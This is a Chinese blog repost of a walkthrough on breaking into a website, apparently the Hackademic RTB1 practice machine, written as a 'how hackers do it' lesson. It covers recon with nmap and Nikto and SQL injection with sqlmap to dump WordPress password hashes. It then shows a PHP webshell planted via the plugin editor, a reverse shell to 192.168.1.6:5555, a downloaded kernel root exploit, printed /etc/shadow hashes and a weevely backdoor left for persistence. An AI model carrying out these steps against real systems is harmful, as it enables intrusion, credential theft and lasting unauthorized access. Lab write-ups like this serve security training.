当前位置:   article > 正文

黑客是怎样入侵你的网站的_黑客域名扫描网站

黑客域名扫描网站

转载自:http://www.freebuf.com/articles/web/7359.html

这个问题很难回答,简单的来说,入侵一个网站可以有很多种方法。本文的目的是展示黑客们常用的扫描和入侵网站的技术。
假设你的站点是:hack-test.com

让我们来ping一下这个服务器:

我们得到了一个IP地址:173.236.138.113 – 这是我们目标服务器的IP地址。
Sameip.org 可以帮助我们找到其他与这个服务器绑定的域名:

Same IP
26 sites hosted on IP Address 173.236.138.113

有26个站点在这台服务器上(173.236.138.113)。许多黑客会选择攻击在同服务器上的不同站点从而入侵到你的网站。但是出于为了学习目的,我们只选择入侵你的服务器。

我们需要从你的站点得到一下信息:

  1. 1.DNS记录(A,NS,TXT,MX 和SOA)
  2. 2.网站服务器的类型(Apache,IIS,Tomcat)
  3. 3.域名的注册信息(哪个公司拥有这个域名)
  4. 4.你的名字,地址,EMAIL和电话
  5. 5.你的网站上所运行的脚本类型(PHP,ASP,ASP.NET,JSP,CFM)
  6. 6.服务器的操作系统类型(Unix,Linux,Windows,Solaris)
  7. 7.服务器对外开放的端口(80,443,21,等)

现在让我们来寻找网站的DNS记录。选择网站“Who.is”来实现这个目标。

我们发现站点上的DNS记录有:


让我们来检测一下网站服务器的类型:

我们可以看到,网站服务器用的是Apache.稍后我们会检测Apache的版本。

  1. HACK-TEST.COM SITE INFORMATION
  2. IP: 173.236.138.113
  3. Website Status: active
  4. Server Type: Apache
  5. Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
  6. Page Views per Visit: 1 Month: 2.0 3 Month: 3.7

接下来我们来寻找一下域名的注册信息:

我们得到了注册者以及其他重要的信息。我们可以用Whatweb来检测你的站点使用的是什么脚本语言以及操作系统类型和网站服务器的版本。

我们可以看到,网站使用的是WordPress,操作系统类型是Fedora Linux,网站服务器版本是Apache 2.2.15,下面我们来检测一下服务器上打开的端口:
我们使用Nmap:
1.检测服务器上运行着哪些服务:

root@bt:/# nmap -sV hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2.检测服务器的OS

root@bt:/# nmap -O hack-test.com

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh

80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

服务器只开放了80端口,操作系统是Linux 2.6.22(Fedora Core 6)
现在我们已经得到了所有重要的信息,接下来我们来做一下弱点测试,例如:sql注入,盲注,LFI,RFI,XSS,CSRF,等。
我们用Nikto.pl 来获取信息以及弱点:

  1. root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com
  2. - Nikto v2.1.4
  3. ---------------------------------------------------------------------------
  4. + Target IP: 192.168.1.2
  5. + Target Hostname: hack-test.com
  6. + Target Port: 80
  7. + Start Time: 2011-12-29 06:50:03
  8. ---------------------------------------------------------------------------
  9. + Server: Apache/2.2.15 (Fedora)
  10. + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b
  11. + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
  12. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
  13. + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
  14. + OSVDB-3268: /icons/: Directory indexing found.
  15. + OSVDB-3233: /icons/README: Apache default file found.
  16. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host
  17. + End Time: 2011-12-29 06:50:37 (34 seconds)
  18. ---------------------------------------------------------------------------
  19. + 1 host(s) tested

也可以使用W3AF,这个工具可以在Backtrack 5 R1中找到

root@bt:/pentest/web/w3af# ./w3af_gui

Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0

w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.

我们可以插入URL,选择full audit选项:

稍等片刻,结果就会出现。

网站存在着sql注入漏洞以及其他的漏洞。
让我们来深入一下sql注入:

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

这个地址就是注入点,

我们用sqlmap然后dump所有入侵所需要用到的数据库信息
sqlmap –u url

稍等片刻:

选择“n”继续:

网站的sql注入类型是error-based Mysql数据库的版本是5.
加上参数“-dbs”可以找出所有的数据库:

我们发现了3个数据库:

用dump –Dwordpress -tables导出wordpress数据库表

我们需要导出“wp_users”表来得到用户信息以及密码的hash,之后我们就可以尝试着去破解密码最终登陆到wordpress的后台。
使用参数 “-T wp_users –columns “

找到了22列的数据:

使用参数 -C user_login,user_pass –dump 来导出列。
之后我们就得到了账号密码。

接来使用这个网站来把MD5转换成明文密码(并不是所有HASH都能成功转换)

http://www.onlinehashcrack.com/free-hash-reverse.php

  1. 明文密码是: q1w2e3
  2. 用户名 “GeorgeMiller”

让我们来登陆wordpress的后台:

现在我们来试着上传一个php webshell 用来在这台服务器上执行一些linux命令
编辑wordpress的“Textile”插件

编辑它

插入一个php webshell来代替一个真正的插件。之后点击上传,php webshell就被成功上传到服务器上了。

现在,PHP WEBSHELL就成功运行了。现在就可以浏览网站里所有的文件了,但是我们想得到服务器的root权限然后入侵其他的站点。
选择 在php webshell 里的“back-connect “然后连接到我们的ip “192.168.1.6″ 端口 “5555″

在我们点击连接之前,我们先得在本机上监听一个“5555”的端口

点击连接,我们会得到这样一个窗口:

我们来试一下linux的命令

  1. id
  2. uid=48(apache) gid=489(apache) groups=489(apache)
  3. pwd
  4. /var/www/html/Hackademic_RTB1/wp-content/plugins
  5. uname -a
  6. Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

ID命令用来告诉我们用户ID和用户组
Pwd命令能告诉我们现在所在的路径
uname –a 命令用来得到一些信息以及内核版本
好了,我们现在知道服务器的内核版本是2.6.31.5-127.fc12.1686
Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686
我们可以在 exploit-db.com 找到针对这个版本的exploit
输入: “kernel 2.6.31

以上结果没有合适的,因为他们都不是用来提权的。下一个,就是它了!

http://www.exploit-db.com/exploits/15285
复制这个连接
http://www.exploit-db.com/download/15285
在netcat shell里输入:

wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c'

0K ...... 100% 29.7K=0.2s

我们用wget命令来获取exploit-db.com的exploit,-O是重命名文件为:roro.c
Note:
Linux内核的exploits大多数都是用c语言开发的所以我们保存后缀名为.c ,直接浏览源文件就可以直接看见源码:

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <fcntl.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <errno.h>
  9. #include <string.h>
  10. #include <sys/ptrace.h>
  11. #include <sys/utsname.h>
  12. #define RECVPORT 5555
  13. #define SENDPORT 6666
  14. intprep_sock(intport)
  15. {
  16. ints, ret;
  17. structsockaddr_in addr;
  18. s = socket(PF_RDS, SOCK_SEQPACKET, 0);
  19. if(s < 0) {
  20. printf(“[*] Could not open socket.\n”);
  21. exit(-1);
  22. }
  23. memset(&addr, 0, sizeof(addr));
  24. All the above lines indicate that this is exploit is written in C language
  25. After we saved our exploit on server, we will compile it to elf format by typing

我们保存exploit在服务器上之后,我们可以编译它:

gcc roro.c –o roro

然后执行exploit:

./roro

[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

Id
这时候我们已经是root权限了。
uid=0(root) gid=0(root)

我们可以浏览 /etc/shadow file

  1. cat /etc/shadow
  2. root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
  3. bin:*:14495:0:99999:7:::
  4. daemon:*:14495:0:99999:7:::
  5. adm:*:14495:0:99999:7:::
  6. lp:*:14495:0:99999:7:::
  7. sync:*:14495:0:99999:7:::
  8. shutdown:*:14495:0:99999:7:::
  9. halt:*:14495:0:99999:7:::
  10. mail:*:14495:0:99999:7:::
  11. uucp:*:14495:0:99999:7:::
  12. operator:*:14495:0:99999:7:::
  13. games:*:14495:0:99999:7:::
  14. gopher:*:14495:0:99999:7:::
  15. ftp:*:14495:0:99999:7:::
  16. nobody:*:14495:0:99999:7:::
  17. vcsa:!!:14557::::::
  18. avahi-autoipd:!!:14557::::::
  19. ntp:!!:14557::::::
  20. dbus:!!:14557::::::
  21. rtkit:!!:14557::::::
  22. nscd:!!:14557::::::
  23. tcpdump:!!:14557::::::
  24. avahi:!!:14557::::::
  25. haldaemon:!!:14557::::::
  26. openvpn:!!:14557::::::
  27. apache:!!:14557::::::
  28. saslauth:!!:14557::::::
  29. mailnull:!!:14557::::::
  30. smmsp:!!:14557::::::
  31. smolt:!!:14557::::::
  32. sshd:!!:14557::::::
  33. pulse:!!:14557::::::
  34. gdm:!!:14557::::::
  35. p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::
  36. mysql:!!:14981::::::

浏览 /etc/passwd file

  1. cat /etc/passwd
  2. root:x:0:0:root:/root:/bin/bash
  3. bin:x:1:1:bin:/bin:/sbin/nologin
  4. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  5. adm:x:3:4:adm:/var/adm:/sbin/nologin
  6. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  7. sync:x:5:0:sync:/sbin:/bin/sync
  8. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  9. halt:x:7:0:halt:/sbin:/sbin/halt
  10. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  11. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  12. operator:x:11:0:operator:/root:/sbin/nologin
  13. games:x:12:100:games:/usr/games:/sbin/nologin
  14. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  15. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  16. nobody:x:99:99:Nobody:/:/sbin/nologin
  17. vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
  18. avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
  19. ntp:x:38:38::/etc/ntp:/sbin/nologin
  20. dbus:x:81:81:System message bus:/:/sbin/nologin
  21. rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
  22. nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
  23. tcpdump:x:72:72::/:/sbin/nologin
  24. avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
  25. haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
  26. openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
  27. apache:x:48:489:Apache:/var/www:/sbin/nologin
  28. saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
  29. mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
  30. smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
  31. smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
  32. sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  33. pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
  34. gdm:x:42:481::/var/lib/gdm:/sbin/nologin
  35. p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
  36. mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash

我们可以用“john the ripper”来破解用户的密码,但我们不会这么做。
黑客需要留一个后门在服务器上,方便以后访问。

这里,我们使用weevely来生成一个小型有密码的php后门,然后上传到服务器上来达到目的。

weevely 用法 :

  1. root@bt:/pentest/backdoors/web/weevely# ./main.py -
  2. Weevely 0.3 - Generate and manage stealth PHP backdoors.
  3. Copyright (c) 2011-2012 Weevely Developers
  4. Website: http://code.google.com/p/weevely/
  5. Usage: main.py [options]
  6. Options:
  7. -h, --help show this help message and exit
  8. -g, --generate Generate backdoor crypted code, requires -o and -p .
  9. -o OUTPUT, --output=OUTPUT
  10. Output filename for generated backdoor .
  11. -c COMMAND, --command=COMMAND
  12. Execute a single command and exit, requires -u and -p
  13. .
  14. -t, --terminal Start a terminal-like session, requires -u and -p .
  15. -C CLUSTER, --cluster=CLUSTER
  16. Start in cluster mode reading items from the give
  17. file, in the form 'label,url,password' where label is
  18. optional.
  19. -p PASSWORD, --password=PASSWORD
  20. Password of the encrypted backdoor .
  21. -u URL, --url=URL Remote backdoor URL .

创建一个带密码的php后门

root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/

+ Backdoor file 'hax.php' created with password 'koko'.

通过php webshell上传一个php后门

上传完毕之后我们使用一下命令来连接:

root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/

+ Using method 'system()'.
+ Retrieving terminal basic environment variables .

[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]

测试我们的 hax.php 后门

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小桥流水78/article/detail/992047?site
推荐阅读
相关标签
  

闽ICP备14008679号